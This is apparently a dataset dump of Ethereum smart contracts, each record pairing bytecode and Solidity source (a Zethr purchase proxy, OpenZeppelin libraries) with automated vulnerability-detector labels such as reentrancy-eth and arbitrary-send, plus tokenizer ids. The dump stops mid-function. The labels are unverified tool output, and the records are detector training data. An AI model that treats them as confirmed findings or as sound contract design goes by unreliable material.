90911660848201524260a482015260c40160606040518083038185885af1158015610dcd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df29190611b44565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f9190611b72565b5050565b6001600160a01b038316610ed55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610788565b6001600160a01b038216610f365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610788565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ffb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610788565b6001600160a01b03821661105d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610788565b600081116110bf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610788565b600080546001600160a01b038581169116148015906110ec57506000546001600160a01b03848116911614155b15611532576009546001600160a01b03858116911614801561111c57506006546001600160a01b03848116911614155b801561114157506001600160a01b03831660009081526004602052604090205460ff16155b156113ce5760105460ff166111985760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610788565b600f544214156111d85760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610788565b42600f54610e106111e99190611b8f565b111561126357600e546111fb84610928565b6112059084611b8f565b11156112635760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610788565b6001600160a01b03831660009081526005602052604090206001015460ff166112cb576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112db9190611b8f565b11156113af57600d548211156113335760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610788565b61133e42601e611b8f565b6001600160a01b038416600090815260056020526040902054106113af5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610788565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113e8575060105460ff165b801561140257506009546001600160a01b03858116911614155b156115325761141242600f611b8f565b6001600160a01b038516600090815260056020526040902054106114845760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610788565b600061148f30610928565b9050801561151b5760105462010000900460ff161561151257600c54600954606491906114c4906001600160a01b0316610928565b6114ce9190611ba7565b6114d89190611bc6565b81111561151257600c54600954606491906114fb906001600160a01b0316610928565b6115059190611ba7565b61150f9190611bc6565b90505b61151b81611616565b47801561152b5761152b47611591565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061157457506001600160a01b03841660009081526004602052604090205460ff165b1561157d575060005b61158a858585848661178a565b5050505050565b6007546001600160a01b03166108fc6115ab600284611bc6565b6040518115909202916000818181858888f193505050501580156115d3573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115ee600284611bc6565b6040518115909202916000818181858888f19350505050158015610e6f573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165a5761165a611be8565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d79190611b27565b816001815181106116ea576116ea611be8565b6001600160a01b0392831660209182029290920101526006546117109130911684610e73565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611749908590600090869030904290600401611bfe565b600060405180830381600087803b15801561176357600080fd5b505af1158015611777573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061179683836117ac565b90506117a4868686846117f3565b505050505050565b60008083156117ec5782156117c45750600a546117ec565b50600b54600f546117d790610708611b8f565b4210156117ec576117e9600d82611b8f565b90505b9392505050565b60008061180084846118d0565b6001600160a01b0388166000908152600260205260409020549193509150611829908590611adb565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611859908390611b8f565b6001600160a01b03861660009081526002602052604090205561187b81611904565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c091815260200190565b60405180910390a3505050505050565b6000808060646118e08587611ba7565b6118ea9190611bc6565b905060006118f88287611adb565b96919550909350505050565b3060009081526002602052604090205461191f908290611b8f565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195f57858101830151858201604001528201611943565b81811115611971576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461092557600080fd5b6000602082840312156119ae57600080fd5b81356117ec81611987565b600080604083850312156119cc57600080fd5b82356119d781611987565b946020939093013593505050565b600080604083850312156119f857600080fd5b50508035926020909101359150565b600080600060608486031215611a1c57600080fd5b8335611a2781611987565b92506020840135611a3781611987565b929592945050506040919091013590565b600060208284031215611a5a57600080fd5b5035919050565b801515811461092557600080fd5b600060208284031215611a8157600080fd5b81356117ec81611a61565b60008060408385031215611a9f57600080fd5b8235611aaa81611987565b91506020830135611aba81611987565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611aed57611aed611ac5565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b3957600080fd5b81516117ec81611987565b600080600060608486031215611b5957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8457600080fd5b81516117ec81611a61565b60008219821115611ba257611ba2611ac5565b500190565b6000816000190483118215151615611bc157611bc1611ac5565b500290565b600082611be357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4e5784516001600160a01b031683529383019391830191600101611c29565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220796eca767dc69aea1c9be756f06dd54844cbe3178c9cfb04fdac60ebb02ccffc64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19317, 2629, 2278, 2546, 2683, 2683, 19961, 24096, 2549, 29292, 2098, 2278, 2549, 2497, 2683, 27814, 2575, 11387, 2098, 2692, 2546, 14142, 2683, 28311, 2575, 9818, 2683, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2423, 1008, 1013, 1013, 1008, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1056, 1012, 2033, 1013, 11895, 19445, 22134, 2080, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,663
0x9722aebebef26fcfa547b59250baa5851c91a4a5
pragma solidity ^0.4.24; /** Proxy contract to buy tokens at the 15% rate on Zethr. **/ contract ZethrProxy_Fifteen { ZethrInterface zethr = ZethrInterface(address(0xD48B633045af65fF636F3c6edd744748351E020D)); address bankroll = 0x7430984e1D05d5F447c747123dd26845f6f17544; address owner = msg.sender; event onTokenPurchase( address indexed customerAddress, uint incomingEthereum, uint tokensMinted, address indexed referredBy ); function buyTokensWithProperEvent(address _referredBy, uint8 divChoice) public payable { // Query token balance before & after to see how much we bought uint balanceBefore = zethr.balanceOf(msg.sender); // Buy tokens with selected div rate zethr.buyAndTransfer.value(msg.value)(_referredBy, msg.sender, "", divChoice); // Query balance after uint balanceAfter = zethr.balanceOf(msg.sender); emit onTokenPurchase( msg.sender, msg.value, balanceAfter - balanceBefore, _referredBy ); } function () public payable { } function changeBankroll(address _newBankroll) public { require(msg.sender == owner); bankroll = _newBankroll; } // Yes there are divs generated on each buy, // but not enough to justify transferring to msg.sender - gas price makes it not worth it. function sendDivsToBankroll() public { require(msg.sender == owner); bankroll.transfer(address(this).balance); } } contract ZethrInterface { function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice) public payable; function balanceOf(address _owner) view public returns(uint); }
0x6080604052600436106100565763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631c575f7f81146100585780635fc2cb391461006d578063a78bcf6e14610087575b005b34801561006457600080fd5b506100566100a8565b610056600160a060020a036004351660ff602435166100fc565b34801561009357600080fd5b50610056600160a060020a036004351661030a565b600254600160a060020a031633146100bf57600080fd5b600154604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501580156100f9573d6000803e3d6000fd5b50565b60008054604080517f70a0823100000000000000000000000000000000000000000000000000000000815233600482015290518392600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561016157600080fd5b505af1158015610175573d6000803e3d6000fd5b505050506040513d602081101561018b57600080fd5b505160008054604080517f627aa6d2000000000000000000000000000000000000000000000000000000008152600160a060020a03898116600483015233602483015260ff891660648301526080604483015260848201859052915194965091169263627aa6d292349260c4808201939182900301818588803b15801561021157600080fd5b505af1158015610225573d6000803e3d6000fd5b505060008054604080517f70a082310000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a0390921695506370a08231945060248082019450602093918390030190829087803b15801561028f57600080fd5b505af11580156102a3573d6000803e3d6000fd5b505050506040513d60208110156102b957600080fd5b50516040805134815284830360208201528151929350600160a060020a0387169233927f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d5928290030190a350505050565b600254600160a060020a0316331461032157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a7230582010aa075471ff3ff6bcd7f79d708725c69323b458d5606faa9a430395ebd866600029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 19317, 6679, 4783, 4783, 2546, 23833, 11329, 7011, 27009, 2581, 2497, 28154, 17788, 2692, 3676, 2050, 27814, 22203, 2278, 2683, 2487, 2050, 2549, 2050, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 24540, 3206, 2000, 4965, 19204, 2015, 2012, 1996, 2321, 1003, 3446, 2006, 27838, 2705, 2099, 1012, 1008, 1008, 1013, 3206, 27838, 2705, 14536, 3217, 18037, 1035, 5417, 1063, 27838, 2705, 6657, 3334, 12172, 27838, 2705, 2099, 1027, 27838, 2705, 6657, 3334, 12172, 1006, 4769, 1006, 1014, 2595, 2094, 18139, 2497, 2575, 22394, 2692, 19961, 10354, 26187, 4246, 2575, 21619, 2546, 2509, 2278, 2575, 22367, 2581, 22932, 2581, 18139, 19481, 2487, 2063, 2692, 11387, 2094, 1007, 1007, 1025, 4769, 2924, 28402, 1027, 1014, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,664
0x9722b20702d66fe1fd01b4d7c8848ac09679a6b2
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.2; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.2; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\@openzeppelin\contracts\introspection\ERC165.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } pragma solidity ^0.6.2; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.2; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity ^0.6.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.6.2; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } pragma solidity ^0.6.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, 